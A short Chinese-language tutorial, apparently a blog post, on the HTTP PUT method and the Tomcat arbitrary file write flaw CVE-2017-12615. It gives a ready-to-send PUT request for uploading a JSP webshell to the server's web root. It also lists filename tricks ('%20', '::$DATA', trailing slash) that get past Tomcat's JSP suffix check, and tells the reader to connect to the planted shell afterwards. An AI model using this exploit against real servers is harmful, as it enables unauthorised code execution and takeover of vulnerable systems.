前言:
PUT是http的一個請求方法
PUT的前提,是了解HTTP協議。下面給出HTTP - PUT的一個模板:
PUT /test.txt HTTP/1.1 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: test.com:8080 hello world
發送請求后,訪問.../text.txt將輸出hello world
要注意如下幾個點:
① PUT方法是HTTP 1.1協議中才出現的。
② HTTP協議對空格敏感,每行數據的結尾不能出現空格
③ HTTP頭部和數據中間要空一行,即HTTP頭部是以\r\n\r\n結尾的。
④ 端口號直接跟在HOST后面
Tomcat PUT方法任意寫文件漏洞(CVE-2017-12615)
影響版本:
Tomcat版本:8.5.19 Apache Tomcat 7.0.0 - 7.0.79
直接發送以下數據包即可在Web根目錄寫入shell:
PUT /1.jsp/ HTTP/1.1 Host: your-ip:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 5 shell
shell那兒直接寫入jsp的馬,或者其他語言對應寫對應的馬,請求頭參數可適當的根據實際情況改動。
雖然Tomcat對文件后綴有一定檢測(不能直接寫jsp),但我們使用一些文件系統的特性(如Linux下可用/
)來繞過了限制:
shell.jsp%20 shell.jsp::$DATA shell.jsp/
返回響應包的狀態碼為201說明寫入成功。
然后根目錄跟上寫入的.jsp文件即可訪問。之后連馬。